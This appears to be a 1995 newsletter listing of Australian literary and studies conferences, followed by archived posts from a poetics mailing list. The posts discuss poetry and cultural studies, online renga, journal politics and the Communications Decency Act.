Speakers include: Hon John Bannon, former Premier of South Australia and author of The Crucial Colony: South Australia's Role in Reviving Federation.. Professor Weston Bate, historian and author of a two volume history of Ballarat. Professor Geoffrey Blainey, Chancellor of the University of Ballarat and historian. Dr John Hirst, Reader in History at LaTrobe University and author of A Republican Manifesto. Dr Helen Irving, Reader in Politics at the University of Technology, Sydney and author of the forthcoming To Constitute a Nation.. Hon Joan Kirner AM, former Premier of Victoria and Chairperson of the Centenary of Federation Advisory Committee. Professor Stuart Macintyre, of Melbourne University, who has recently edited Alfred Deakin's account of federation.

Among those representing literary aspects of the conference will be: Dr. Richard Jordan, Dr. Meg Tasker, and Rod Sadler, all of the University of Ballarat.

Full registration (2 days) $85
Students/unwaged (2 days) $50
Conference dinner $45

Make cheques payable to University of Ballarat and post to: Philippa Watt, Conference Convenor, School of Behavioural and Social Sciences and Humanities, University of Ballarat, PO Box 663, Ballarat VIC 3353

Enquiries contact School secretary on (053)279610 FAX: (053) 279840 or Richard Jordan, School of Behavioural & Social Sciences & Humanities University of Ballarat. email [redacted]

AUSTRALIAN STUDIES AND THE SHRINKING PERIPHERY: SURFING THE NET FOR AUSTRALIA.

The Centre for Australian Studies in Wales, University of Wales, Lampeter, are hosting this conference next year. Organisers are calling for papers.

"In recent years the consolidation of Europe into the 15 states of the EU, the integration of east and west within Europe, and the progressive turning of Australia to its own Pacific backyard have furthered the impression of periphery: one world's edge looking distantly at the other."

The contacts are:

Dr Graham Sumner and Dr Andrew Hassam
Centre for Australian Studies in Wales
University of Wales
Lampeter
Dyfed, SA48 7ED,
Wales, UK.

Telephone: Graham Sumner [redacted] or 424790 (secretary) Fax: [redacted] Andrew Hassam [redacted] (secretary) Fax [redacted] E-mail: [redacted] or [redacted] Offers of papers should reach the organisers by 31 December 1995, and comprise a full title and an abstract of no more than 100 words.

Further information will be sent when available, and will appear on the Centre's WWW home-page (htp://www.lamp.ac.uk/oz).

3rd International/Australian Conference: Religion Literature and the Arts.

18 - 21 January 1996 Sancta Sophia College, University of Sydney. Invited speakers include: Karen Armstrong - a well known broadcaster from the UK and author of a number of books including The Gospel According to Woman, Tongues of Fire (an anthology of religious poetry) and A History of God, Professor Peter Steele SJ - professor of English, University of Melbourne and a poet and critic, Professor Elizabeth Isichei - Professor of Religious Studies, University of Otago New Zealand. She has written widely on African history and religion and, more recently, on religion and art in New Zealand, Nigel Butterley - a well known composer, Professor David Parker - Professor of English at the Australian Catholic University and Al Zolynas - a San Diego based poet. There will also be a Women's Artists' Forum with artists Kate Briscoe, Liz Coates and others and a Wirtiers Forum including Rae Desmond Jones, Sara Dowse and

others. Wing-It! Performance Ensemble from San Francisco (Phil Porter & Cynthia Winton- Henry).

Cost - Registration, including meals $160 (conc $130), Conference dinner $30. Accommodation is available in Sancta Sophia College at $40 per night including breakfast.

For further information contact Dr Michael Griffith, Department of Literature and Languages, Australian Catholic University, 179 Albert Road Strathfield NSW 2135. Phone (02) 7392192, Fax (02) 7392105.

1996 CONFERENCE OF THE AMERICAN ASSOCIATION FOR AUSTRALIAN LITERARY STUDIES

The 1996 conference of the American Association for Australian Literary Studies will be held at Humboldt State University, California, from April 18-21, 1996. Papers of 20 minutes' duration on any Australian literary or cultural subject are welcome.

For more information, please write: Professor Jack Turner, Department of English, Humboldt State University, Arcata, CA 95521, USA; e-mail [redacted]

1996 NATIONAL CHILDREN'S BOOK COUNCIL OF AUSTRALIA 'CLAIMING A PLACE'.

3-6 May at the Sheraton Hotel Brisbane. Guest speakers will include Monica Hughes, Gillan Cross, Anthony Browne and many distinguished Australian authors and illustrators. Registration forms will be available from November 1995. For further information contact the Children's Book Council of Australia (Tasmania) PO Box 113 Moonah Tasmania 7009

ASAL 1996 - BRISBANE

CALL FOR PAPERS Queensland University of Technology is hosting the 1996 Association for the Study of Australian Literature annual conference, from Saturday July 6 to Thursday July 11. The conference will be held on the Gardens Point Campus, situated between the City Botanic Gardens and the river.

Papers are invited on any aspect of Australian literature. Abstracts of approximately 200 words should be sent to Sharyn Pearce, School of Humanities,QUT, Carseldine Campus, Beams Rd., Carseldine Q.4034 or Email [redacted], by 16 December 1995. All papers will be of twenty (20) mins duration.

Enquiries to the co-ordinators: Sharyn Pearce: School of Humanities,QUT, Carseldine Campus, Beams Rd., Carseldine Q.4034 or Email [redacted]. Fax 07 3864 4719. Email [redacted], or Philip Neilsen: School of Media and Journalism, Faculty of Arts, QUT, GPO Box 2434, Brisbane Q 4001. Fax 07 3864 1810. Email [redacted]

THE IRISH CENTRE FOR AUSTRALIAN STUDIES: AUSTRALIAN STUDIES CONFERENCE

The Irish Centre for Australian Studies will be holding an Australian Studies Conference in Dublin from 3-6 July 1996. The three major streams will be history, culture and the environment. For further details contact David Day Professor of Australian History Department of Modern History University College Dublin Ireland.

COMPARING AUSTRALIA: A CONFERENCE.

Call For Papers and Introductory Information. Dates: 30th August-1 September 1996 in Stirling, Scotland. Abstratcts not exceeding 200 words by 30th November 1995. Papers 20 minutes delivery time. Registration forms will be mailed out in January 1996. For further information Contact Angela Smith, British Association for Studies on Australia, Centre of Commonwealth Studies, University of Stirling, Stirling FK9 4LA, UK Fax 01786 451 335 E-Mail: [redacted]

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, The Writers' Centre of South Australia, Tasmanian Writers' Union, AusLit discussion group (internet), Muse (ACT) FAW WWW LINK (http://www.ozemail.com.au:80/~faw/) and the other individuals and organisations who supplied information about their events directly to AWOL.

↑ Index

486. **Maria Damon**

Re: Condition of Poetry in the Academy

Wed 29 Nov 1995

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an addition: how cd i have forgotten Robt von Hallberg's American Poetry and Culture 1945-1980? or maybe the years are a little different, and its am. culture and poetry. he deals with centrist poetry, what we'd call "academic," and shows how it was part of the nation-building process of .u.s. as superpower. the other side of the coin to advocating the marginal.--md

↑ Index

487. **Maria Damon**
Re: Condition of Poetry in the Academy
Wed 29 Nov 1995

---

btw --any publishers out there, or connections to publishers, who might want to do an anthology of poetry/cult studs texts?--that way i won't have to break copyright laws everytime i teach.--md

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488. **Maria Damon**
Re: Pearl
Wed 29 Nov 1995

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to richard caddell:

what genius said or wrote "all my words are homeless"? i need that! kinda like milos's "language is the only homeland" or a line i read in d meltzer's jazz bk this a.m., the benjaminian aura as "a ghetto of ghosts made up of words." he's writing specifically about white appropriation of jazz/creation of JAZZ thru writing. but i think it has wider applications as well. positive ones.--md

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489. **Maria Damon**
Re: Brathwaite's book
Wed 29 Nov 1995

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jdavis rites:

At 8:23 AM 11/29/95, Paul Naylor ok 157602 wrote:
Am I wrong in suspecting that a major academic press would
>publish a book about Brathwaite in a heartbeat but would not even consider
>publishing a book by Brathwaite?

Sorry to be a pedant again, but didn't
Oxfrd do the arrivants?

Jordan

**yeah, it's American publishers who have been incredibly dense about brathwaite and i wd argue that this is not due to the split in poetry/cult studs but simply to american racism and xenophobia.--md

↑ Index

490. Maria Damon
Re: working bibliography
Wed 29 Nov 1995

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luoma wrote:
> Can anyone suggest good books of cultural studies on poetry?

Kristen Ross wrote some excellent material on Rimbaud. Steve knows the title.

**yes, she's another of my culture heroes. It's The Emergence of Social Space: Rimbaud and the Paris Commune (UMinnesotaPress.) a yummy book w/ great intro and chapters actionpacked with close readings! also, Jacques Ranciere has a good essay called "Ronds de Fume(e?)," about the worker-poet vogue in 18th c. France. in a book edited by i think Jean Luc Nancy...it's in the bibliography of my own bk --also Karlheinz Stierle, "Identite du Discours et Transgression Lyrique," in Poetique 32.

btw, marjorie, stuart hall and dick hebdige were not particularly concerned with the literary canon, as i understand it. hall is an historian/sociologist and hebdige an art historian. i remember renato rosaldo, one of my mentors and your colleague at LSJU, telling me that the question of whether something was in the canon or not and why was about the least interesting thing to be asked of a text. i tend to agree with him, and think it a particularly soc-sci position that i find refreshing.--md

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491. GRAHAM W. FOUST
Phoebe: call for submissions
Wed 29 Nov 1995

Phoebe Magazine is calling for submissions for its 25th anniversary double issue (Spring 1996). The most recent issue (featuring Michael Palmer, Connie Deanovich, Peter Gizzi, and Heather Fuller) will be published in January.

Please send work to: _Phoebe_
Graham Foust, editor
George Mason University
4400 University Drive
Fairfax, VA 22030

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492. **Marisa Januzzi**
Re: needs work
Wed 29 Nov 1995

> *what does an acceptable academic essay look like?*
>
> *To Start: It Has a Colon In Its Title*

To Continue: It often begins with an anecdote, like Brenda Silver telling about noticing the poster of Virginia Woolf in SAMMY AND ROSIE GET LAID

The ones that get attention often proceed by being relatively lucid and proportionately inflammatory, like Lawrence Rainey's judicious piece on the value of HD and feminist canon-revision... finally:

BAM! And then he kissed her on the mouth.
(They usually do not end that way!)

---Marisa

PS: Thanks, QUITE belatedly, to everyone who wrote me anecdotes about driving across the country (which I did in August)(August!!)-- I am still catching up w/you

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493. **Alan Sondheim**
Re: Question
Wed 29 Nov 1995

On Wed, 29 Nov 1995, Eryque Gleason wrote:

> who gets to judge what's a poem?
>
> -the bailiff
>
I do. It's a nasty job but someone has to do it.

-Alan

↑ Index

494. **Dick Higgins**
Re: Condition of Poetry in the Academy
Wed 29 Nov 1995

> *btw --any publishers out there, or connections to publishers, who might want to do an anthology of poetry/cult studs texts?--that way i won't have to break copyright laws everytime i teach.--md*

Suggested solution: use the internet better.

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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495. **Jordan Davis**
Re: Condition of Poetry in the Academy
Wed 29 Nov 1995

Gnomic request: please elucidate.

> *Suggested solution: use the internet better.*

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496. **Tony Green**
Re: Question
Wed 29 Nov 1995

Saying "witch" with a mouthful of sandwich sounds like it must be a poem.

Tony Green,
e-mail: [redacted]

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497. **cris cheek**
Re: Poetics of renga
Wed 29 Nov 1995

> *What about proliferation, branching, versions, no way of knowing what's out there any more... I'm curious about people's take on this, and what really happens.*

I'm guessing but reckon that there have been more than 50 'named' rengas in 5 months. Some of those have run for several weeks and had many more branches than that. The 'welcome to the lost world of rengas' posted recently merely edited a bunch of outakes (pretty much a creative disc clearance on my part).

The form is beginning to break open, partly helped by a prolonged 'getting to know you' period of community formation by the dogged core (currently at 10ish). Posts are being generated at upwards of 100 per day. One day Gabrille

Welford broke our first one person century - so sometimes it's quite a lot more than that. There is more than merely vicarious pleasure in seeing what does - or doesn't - happen to your contribution. The comprovisatory (i know there's a compromised rib lurking here) moment is driven by so many differing agencies of time intersection (my posts are sometimes delayed for a couple of days - for some unfathomable quirk of my server - sometimes they come up almost instantaneously), 'hot' personel (everyone has to go and do other things, sometimes for days or weeks, so there's a tonal shift and energy pulses from person to time to zone). There is a curious 'investment' in adding - in teasing - in re-framing - in rebutting a concensual reality from emerging. There are recognisable traits and vocabularies and syntactical strategies at work, even characters and locations. But overall there's a sifting the grounds of curiosity 'collective' compositional energy which remains fascinating to be engaged with. Adding material and receiving versioning from that material are both specifically pleasurable.

Others will have differing takes.

love and love
cris

↑ Index

498. Maria Damon
Re: Phoebe: call for submissions
Wed 29 Nov 1995

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faust writes:

Please send work to: _Phoebe_
Graham Foust, editor
George Mason University
4400 University Drive
Fairfax, VA 22030

***
renga anyone? wanna send some off to this tempter?--md

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499. Rod Smith
Re: Condition of Poetry in the Academy
Wed 29 Nov 1995

> *btw --any publishers out there, or connections to publishers, who might want to do an anthology of poetry/cult studs texts?--that way i won't have to break copyright laws everytime i teach.--md*

Write a proposal & send it to Routledge. I've talked w/ a sales rep about possibly doing this sort of book with them. My thought was more of an anthology of poetics starting with Stein/Pound etc up to present.

Rod

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500. Aldon L. Nielsen
Re: ISSN0194-6498
Thu 30 Nov 1995

I have often read, and wondered at, the disclaimer on the masthead of the AWP Chronicle. It greatly resembles such disclaimers in my daily newspapers. This does not obviate the observable fact of certain trends in solicited unsolicited and otherwise published essays. I recognize and am grateful for the fact that the same issue will contain, say, a Gioia and a Waldman. But I think it's no stretch to argue that there has been a generally anti-theory tone to the essays in the Chronicle. It may indeed reflect the opinions of the membership more than the opinions of the editors, but that again may have something to do with institutional set-up -- (It's still the case, for example, that one must be a member of the MLA to vote in MLA elections -- one doesn't receive a ballot by virtue of one's department having some sort of institutional membership)

The point I was making more simply is this -- while there are faults indeed in the system of peer review at critical journals ("don't start me to talking," as Sonny Boy Williamson used to say) there is some sense that somebody is checking to see if, when I claim for example that something is "the only critical study devoted to an author" there is some truth to the assertion.

I thought David Lehman and others told me in the pages of the Chronicle that it was the theory obssessed critics who had no allegiance to a correspondence theory of truth --

And frankly, I'm not much interested in writing letters to the editor these days -- If you want a good article some day, we can talk --

don't mistake the direction of my animus here -- I would give almost anything to be at the conference to hear Gerald Barrax or Sara McAulay --

but, as I see _Phoebe_ heading in directions that would not have been contemplated a decade ago, I was hoping to see a more eclectic spirit in the Chronicle -- Hell, even APR will print some of the people on this list if enough famous people tell them they're "significant" --

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501. **Thomas Bell**
Re: Poetics of renga
Thu 30 Nov 1995

It's like putting a note in a bottle and casting it into the sea and then either having a fish toss it back or days later seeing a report of it on foreign tv.

On Wed, 29 Nov 1995, Judy Roitman wrote:

> *I agree with my renga bro Tom.*
>
> *One kind of unique thing about the renga is that it lets you see immediately the influence you have on others and lets you report immediately the influence that others have on you.*
>
> *Jorge*
>
> *On Tue, 28 Nov 1995, Thomas Bell wrote:*
>
> *After being involved with this renga business for awhile, I have realized that it is probably the first truly new form to arise from electronic transmission. This type of collaboration would not be possible in print. Even FEDEXED the time would be prohibitive. Print would also allow too much time for reflection and the responses would be thought over rather than spontaneous and improvisational. When I download a sequence and give it some thought before uploading and posting I find myself trying too hard to be clever and impress, bizarre as that seems.*
>
> *Am I correct in asserting that it is the first new form?*
>
> *Other participants - do you share my feelings about offline and online responding?*
>
> *Tom*
>
> *What about proliferation, branching, versions, no way of knowing what's out there any more... I'm curious about people's take on this, and what really happens.*

↑ Index

502. Gabrielle Welford
FWD: GovAccess.202... (fwd)
Thu 30 Nov 1995

Anyone know what is happening with this, the truths and the untruths? Gab

> *Internet Censors Close to Success: Act Now*
>
> *By Howard Rheingold*
> *syndicated by King Features*
> *electronic rights: Howard Rheingold*
> *Permission granted to redistribute this column (Internet Censors Close to Success) freely.*
>
> *The religious right is only weeks away from final victory in its battle to shut American citizens out of the Internet as a medium for uncensored communication.*
>
> *The story so far: The censorship drive began in February, 1995, with the introduction of S.314, "The Computer Decency Act of 1995" (CDA), by Senator Jim Exon (D-NE), as part of the much larger telecommunications deregulation bill, S 652. Senator Leahy (D-VT) countered CDA with "The Family Empowerment Act," which mandates investigation of technical means for parents to determine what comes into their homes and schools for their children to see, according to their own family's values. CDA passed the Senate on June 14; Leahy's amendment lost. On June 21, opposition to the Exon amendment was voiced even among prominent Republicans, including Representative Gingrich (R-GA).*
>
> *Rep. Chris Cox (R-CA), and Rep. Ron Wyden (D-OR) introduced the "Internet Freedom and Family Empowerment Act" (HR 1978), offering an approach that would empower parents, rather than the State, to make decisions abot what is considered decent in every household.*
>
> *The time has come for Congress to choose between competing amendments. Whether our representatives ultimately go down the road to censorship advocated by the Exon amendment, or choose the parental empowerment approach advocated by the Cox-Wyden amendment, depends on the outcome of the battle for public opinion. In the final weeks of 1995, the campaigns for and against the CDA are approaching the decisive moment. Unless many people who favor freedom of expression make telephone calls, write letters, send faxes, right now, as the pro-censorship forces certainly are doing, the censors are going to win.*
>
> *An extremist minority is pressing for final legislation that is even more restrictive than the Exon bill. This faction, now openly led by the religious right, seeks to use criminal and civil penalties to hold all Americans' online conversations, web pages, public archives to a rigidly*

defined standard for decency of content. The bill's zealous backers make it clear that their interpretation of decency in the new medium is far more strict than those standards upheld by the Supreme Court in regard to other forms of speech.

Discourse on the Net will be restricted to that which is judged suitable for young children in strict households. The liability issues, if upheld, will mean the death of the online services industry, which has been growing explosively. America will hand off yet another native industry to global competitors. Until and unless the Supreme Court decides thatthe legislation is unconstitutional, the decency cops, with the full power of the law, will have their day.

In October, 1995, Commerce committee chairman Larry Pressler received a letter signed by The Christian Coalition's Ralph Reed, Eagle Forum's Phyllis Schafly, the Reverends Donald Wildmon and Louis Sheldon of the American Family Association and Traditional Values Coalition, and former Attorney General Edwin Meese, that threw the weight of the top organizations of the religious right behind legislation that would establish a Federal decency police and shut down the emerging online communications industry by making online service providers criminally liable for the activities of their customers. The battle of the CDA is part of the sweeping telecommunications deregulation bill (S 652), now approaching the final stages of Congressional decision-making.

Call or fax Newt Gingrich's office now ([redacted] voice; [redacted] fax), and cc Senator Robert Dole (R-KS) ([redacted] voice; [redacted] fax).Tell them you favor the parental control tools proposed in the Cox-White-Wyden amendment to the chilling and unnecessary Exon amendment. Tell them that you, not the the Federal government, are the proper authority to decide what is decent in your household.

For more information, check web sites http://www.vtw.org/exon/ and URL:http://www.cdt.org/cda.html . Gopher archives: gopher://gopher.eff.org/11/Alerts. Via e-mail, send a message to [redacted] (put "send alert" in the subject line for the latest alert, or "send cdafaq" for the CDA FAQ).

Stay informed, spread the word, make those calls.

END

Howard Rheingold [redacted]
http://www.wll.com/user/hlr/
Fax: [redacted]
what it is ----->is------>up to us

> *&&&&&&&&&&&&&&&&&&&&*
>
> *Quaint phrasing from obsolete document: "Congress shall make no law ... abridging the freedom of speech, or of the press ..."*
>
> *-- unless, of course, such forms of expression utilize modern technology.*
>
> *Mo' as it Is.*
>
> *--jim*
> *Jim Warren, GovAccess list-owner/editor ([redacted])*
> *Advocate & columnist, MicroTimes, Government Technology, BoardWatch, etc.*
> *345 Swett Rd., Woodside CA 94062; voice/[redacted]; fax/<# upon request>*
>
> *To add or drop GovAccess, email to [redacted] ('Subject' ignored)*
> *with message: [un]subscribe GovAccess YourEmailAddress (insert your eaddr)*
> *For brief description of GovAccess, send the message: info GovAccess*
>
> *Past postings are at ftp.cpsr.org: /cpsr/states/california/govaccess*
> *and by WWW at http://www.cpsr.org/cpsr/states/california/govaccess .*
> *Also forwarded to USENET's comp.org.cpsr.talk by CPSR's Al Whaley.*
>
> *May be copied & reposted except for any items that explicitly prohibit it.*

↑ Index

503. **R I Caddel**

Re: Pearl

Thu 30 Nov 1995

Maria - and anyone else - "all my words are homeless" is from the Barry MacSweeney chapbook, conclusion to "Pearl Says":

... I in
worry eat my fist, soak my sandwich
in saliva, chew my lip a thousand times
without any bought impediment. Please
believe me when my mind says and
my eyes send telegraphs: I am Pearl.
So low a nobody I am beneath the cowslip's
shadow, next to the heifers' hooves.
I have a roof over my head, but none
in my mouth. All my words are homeless.

- I'm never any good at soundbites - hope that helps, x
x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x
x x "Words! Pens are too light. Take a chisel to write." x x
- Basil Bunting x x x

↑ Index

504. Hothead Paisan
Re: ISSN0194-6498
Thu 30 Nov 1995

Aldon,

Yes, yes, yes, yes, please send articles. In fact, all of you-all send articles. Not interviews--we are up to our collective editorial butt-cheeks in interviews--but articles about 2500-5000 words that I can argue for at editorial meetings by correctly pointing out that they are terrific.

You're quite right, I think, to point to a general similarity of tone in articles published over the last few years. And I think it does have to do with our member faculty readers/contributors; save for a few notable and wonderful exceptions, present company included, relatively few of the 290 member programs include either theory or querzblatz poetics (I made up a word just now because I'm tired of "innovative," "avant-garde," "experimental," and all of those other words that don't quite catch it), in any significant way, in their teaching or research. Moreover, the books these faculty members publish, in the main, don't come from way-cool querzblatz presses like Chax, O Books, Sun & Moon.

I personally, as one still, small voice up here in the editorial office, would love to start including and representing more theory and querzblatz poetics, and thereby dispelling the myth that they are somehow "elitist" or "inaccessible."

Best,
Gwyn

↑ Index

505. cris cheek
Re: desire / and the 39 steps
Thu 30 Nov 1995

cut price right down to quick. get close up. see that honey. phone flag. burn these leaves inprinting with dark bruised keytones from shivering trees. their

cars go nowhere, effectively stood in curative safety tracks - rooted, before knowing that.

↑ Index

506. **Maria Damon**
Re: Condition of Poetry in the Academy
Thu 30 Nov 1995

---

dickhiggins wrote
Suggested solution: use the internet better
***
hunh? explain pls?

↑ Index

507. **Edward Foster**
Re: desire / and the 39 steps
Thu 30 Nov 1995

---

no honey in the groin: ah, jack, billy's but a dream, dark bruised image in your verse. sweet safety lies in driving down the root, regard release without intent. in fact it's always there, but only for a price.

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508. **Michael Greer**
More on poetry and cultural studies
Thu 30 Nov 1995

I love the idea of a collection of essays situating poetry/poetics in the context of cultural studies. There is a real problem, however, in identifying c.s. as a reading strategy or hermeneutic, and I would want to address why cultural studies generally *hasn't* had much to say about poetry as a way of opening up the issue. But it's a great idea, and I would like to contribute something to such a volume; I'll help in any way I can.

I am a bit distressed at the version of "cultural studies" being tossed about amidst our discussion, though. I agree with Marjorie and others that there is work going on under the sign of c.s. that addresses such topics as representations of steam-engines in late Victorian fiction, etc., but this is a market strategy, and not cultural studies, any more than those "deconstructive" close readings were really Derridean a decade ago. At least let's do our homework and talk about actual cultural studies...(uh oh, here I go; next thing you know I'll swoop into my myths of origin which locate Stuart Hall's left foot as it steps onto the runway in Champaign Illinois in June of 1983 to begin the

series of lectures in which "cultural studies" in a particular narrative of Birmingham was first handed down to us poor marxist graduate students during that summer teaching institute: were any of you here? It was really fun, and hot, and it really was the first time Hall had been to the States in twenty years...ok already, I'll stop: but I do think we need to be reading cultural studies carefully and not caricaturing its position so readily...and now I'll step down off my hi-horse.).Raymond Williams wrote a book some while ago on Marxism and Literature that is a good start; John Guillory's Cultural Capital and John Frow's Cultural Studies and Cultural Value are excellent recent contributions to the field. (The bibliography growing here is helpful too; thanks, y'all)

For me, a cultural studies orientation might look at the notion of "the poetic" as it has functioned and circulated in a particular cultural framework crossing from literary to popular culture. It would think about the kinds of cultural value assigned to/occupied by "poetry" in its moment; etc. Difficult to speak of in the abstract, though.

How about this: what is the relationship between poetry and high technology? I've been reading Andrew Ross's newest, The Chicago Gangster Theory of Life (about sociobiology and other things), remembering that his first book was about Olson, Eliot, and Ashbery (The Failure of Modernism), and digging up an old footnote of Donna Haraway's in Cyborg Manifesto where she says:

"If we are imprisoned by language, then escape from that prison-house requires language poets, a kind of cultural restriction enzyme to cut the code; cyborg heteroglossia is one form of radical cultural politics." She then cites Marjorie's essay on "Dirty language" in Sulfur 1984, a piece by Kathleen Fraser, and HOW(ever) mag.

I think Bob Perelman's work is very useful and interesting in thinking about poetry in a technoculture. Which brings us back to that quip by Jameson about BP's "china" in that POMO article. (sorry).

Anyway, I would like to see more work addressing cultural studies and poetry, but CS is--rightly so--very suspicious of "literary" reappropriations, and when one sees what the MLA machine has done in the name of "cultural studies," one can more than sympathize with the critique. When I was in grad school, all of my "cultural studies" friends (who were not in English but in the Institute for Communications Research at U of Illinois) continually pressed me about the exclusionary, colonialist politics of English studies, about the high-cultural bias of literary studies, and repeatedly wanted to know why on earth one might want to study poetry, and avant-garde at that, in a culture such as ours. I wrote a dissertation to answer them, and I'm not satisfied with my response yet: it's a good question. I for one urge that it be taken seriously...

One last title to add to the list: Bruce Robbins's book on professionalism: Secular Vocations, Verso 1992 or -3, I think.
Thanks for listening.
--Michael Greer

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509. **Peter Baker**
Theory/Poetics
Thu 30 Nov 1995

I find the thread on poetics and the presumed dangers of theory very interesting, though it is always disheartening to hear personal narratives of those turned off to one form of poetry study or another through bad teachers and/or advice.

Here's a personal narrative of someone whose interest in poetry was "saved" by theory.

As a young writer and college undergraduate in the mid-seventies at Harvard, I felt that just about everyone speaking on poetry and literature in general had as their express aim to dull my very active interest in reading and producing poetry. Bloom was big then, with his anxiety of influence, but he was just building on Jack Bate's Burden of the Past on the English Poet. The teaching methods generally consisted of fantastically dull lectures from podiums with tedious intonings of the greats, accompanied by the most banal biographical and explicative commentary. The energy and activity of poetry I sustained by starting a poetry magazine, publishing everyone I knew in newprint format with large swatches from contributors and kick-ass graphics.

Somewhere during the course of a similarly dispiriting stint at the Writing Seminars at Hopkins I came across some industrious graduate students who were doing what would later come to be recognized as theory, and I realized that there was still plenty more to learn (partly in order to become a poet--to respond obliquely to another thread).

So a Ph.D. program in Comp Lit quite literally "saved" my interest in poetry and the thought of doing anything at all in the academic domain. And there's no doubt in my mind that theory / criticism / poetry / poetics are productively combined recombined and intermingled in many of the most exciting poetic projects, critical projects, theory projects going on now all the time.

Of course anything can become oppressive simply by becoming the normative discourse, as theory has to some extent in the literary branch of the university world. Another, less personal narrative could (and to some extent has) been

constructed arguing that the most interesting poetry in the last quarter century is involved in exactly the areas casually grouped under the theory rubric.

Cheers to all,
Peter

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510. **jeffrey timmons**
Re: Theory etc.
Thu 30 Nov 1995

On Wed, 29 Nov 1995, Chris Stroffolino wrote:

> *Oh Jeffrey--with your brains, my brawn and Judy R's vocabulary, just think of cultural stud(ie)s we could toddle!*
> *your in aesthetic eugenics, cs*

what child hath we wrought?

Jeffrey Timmons

↑ Index

511. **Stephen Galen Cope**
Re: More on poetry and cultural studies
Thu 30 Nov 1995

A few more titles to consider:

Edouard Glissant, "Cross-Cultural Poetics," in Carribean Discourse.

Nathaniel Mackey, "Discrepant Engagement: Dissonance, Cross-Culturality, and Experimental Writing."

Antonio Benitez-Rojo, "The Repeating Island," some decent essays on Guillen, Ortiz, Harris, Carpentier.

and of course:

"The Politics of Poetic Form," ed. C. Bernstein...

-Stephen Cope

↑ Index

512. **David Golumbia**
Re: More on poetry and cultural studies
Thu 30 Nov 1995

-- boring to attempt to characterize c.s. as distinct from mat feminism/ new historicism/ marxist lit crit / post-struct. anthro etc. easy enough to create

abstracted views, but in practice they more often than not mush together, usually productively.

-- in that respect there's been a lot of "cs" work addressing poetry, especially on the romantics, on Milton, on Renaissance poetry, etc. etc. Not as much on contemporary stuff (though more than on some kinds of lit), but then there's no more recent writing on recent novelists of an experimental stripe. (more on non-Western, non-white, etc., authors, which strikes me as all to the good). (also true of non-white/male poets, as a comment of Ron S's somewhere hints).

-- I find myself impatient with attempts right now to define cultural studies especially when the definition goes along with the phrase "what's wrong with...". Nobody is setting him/herself up as the arbitrator (vendor) of c.s. Contents of recent journals show all kinds of work falling under the umbrella. Work on poetry (Albert Corn just as much as Hejinian), well done, will have no trouble finding a place. (What about John Barrell's _Critical Inquiry_ piece on Raworth, 3/4 years ago at this point? & other examples to boot).

-- Agree with Marjorie that too much current work focuses on writing as transparently "about" stuff, not enough on the politics & dynamics & structures of the aboutness relation & its specific mechanisms and instances. Again, though, I see more a call for new work (that will be wanted when it's done, make no mistake) rather than a criticism of current items. & counterexamples abound.

-- Grad students are arrogant brats, for the most part. Not helped by having undergrad profs treat them like the next hot thing when they are sophomores -- helps them not do the deep & self-questioning work they need to do which might include learning to really read closely and productively. Easier to get at _Villette_ on breastfeeding than to Zukofsky (but note here the growing amount, some of it good, of c.s. work on Stein). But this is a professional problem, one the "profession" itself and profs need to correct in terms of their professional/personal relations with students, and less a problem of the "method" of c.s. I've yet to see an instance of a probing, productive, provocative paper on just about any subject that won't make it into one of the 20 or 30 top-flight journals, many of which rarely refuse papers due to "subject matter" (counterexamples?). If that's hegemony I'll live with it.

--
[redacted]
David Golumbia

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513. Steve Carll
Antenym 1-5 Online Announcement
Thu 30 Nov 1995

Dear Poetics:

This is to announce the debut of ANTENYM magazine online. The first e-issue will highlight the long- out-of-print ANTENYMs #1-5 (originally appeared Fall 1988 through Winter 1990 in Irvine and Oakley, CA) and features work by Brian Boury, Steve Carll, Paul Eastup, Sheldon Forrest, Tira Palmquist, J. Mark Sugars, Tiffany Turley and Hugo Victorious.

To get it, please e-mail me ([redacted]) and let me know. It'll come in two parts, the first about 9K and the second about 13K. Loss, I'd like to send one to the EPC, but I'm unsure how.

My plan is to put each issue electronically as it goes out of print (so that the "out" becomes an "in" somewhere else). If you'd like to help speed this process along, you can subscribe to ANTENYM by sending a check (made out to Steve Carll) for $3.50 per 50-page issue (@3 issues a year = $10.50). Issue #8 is now available and features art by George Albon and writing by Jake Berry, Steve Carll, Paul Celan translated by Pierre Joris, Marcel Cohen translated by Jordon Zorker, Darin De Stefano, David Golumbia, Lyn Hejinian, Bob Heman, Pierre Joris (translating himself ;-)), W.B. Keckler, Travis Ortiz, Douglas Powell, Mary Carol Randall, Dale Smith, Thomas Stolmar, Chris Stroffolino, Thomas Lowe Taylor, and Alicia Wing. A few copies of #7 still exist as well.

Everyone is also invited to send me work for future issues. ANTENYM's focus remains to explore the question(s) of being(s) through language(s).

My snailmail address is 106 Fair Oaks St. #3, San Francisco, CA 94110-2951.

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514. Charles Smith
Re: Williams, W. C.
Thu 30 Nov 1995

<<It's fairly apparent that within the "professional" or business community Williams felt such an admission of vocation--with the no distinction between what one "does" and who one "is"--difficult to make in mid-century America. As an addendum, I'd say that declaring one's profession as Professor of Poetry in polite conversation around the Thanksgiving Turkey in 1995 doesn't get you very many more nods of approval and tacit understanding than Williams's admission got him in 1954.

Joseph Conte>>

Try going with WCW's affirmation without the prestige attached to "Professor!"

all best, charles

↑ Index

515. **Bill Luoma**
Re: needs junk
Thu 30 Nov 1995

jordanian wrote about poetry:

> *I don't know if it's "anything". I think the convention of poetry including "anything" usually reduces to a kaleidoscopic one-of-everything (shopping-mall) method/motif. At least it did for me when I realized poetry was anything. There seem to be other overriding conventions that determine what's taken by other readers (intelligent, questioning, reasonable readers) as "good poetry" or "the work".*

I was unclear. I agree with you that the found kaleidoscope shopping mall pome is not that interesting.

I didn't mean to suggest that anything was poetry, or at least good poetry. But that any subject or method or orientation or perception or blank is a suitable thing to start/use as a basis for making a ... saxifrage? ...pome.

For example I got really bubblie when i went to the auto gobbler today in canarsie to look for a used starter. the subway ride (2) to the end of the line, the 20-block wlk, the parts guy who said i was safe, i.e. they had the part, the picture of the huge hippo with mouth wide gobbling cars, then all the dead cars. I didn't expect to get all bubblie about replacing my starter. i like how the not expecting // bubblie feeling tickles the mid-brain. when i recognize it (probably 10% of the time) i know i need to write.

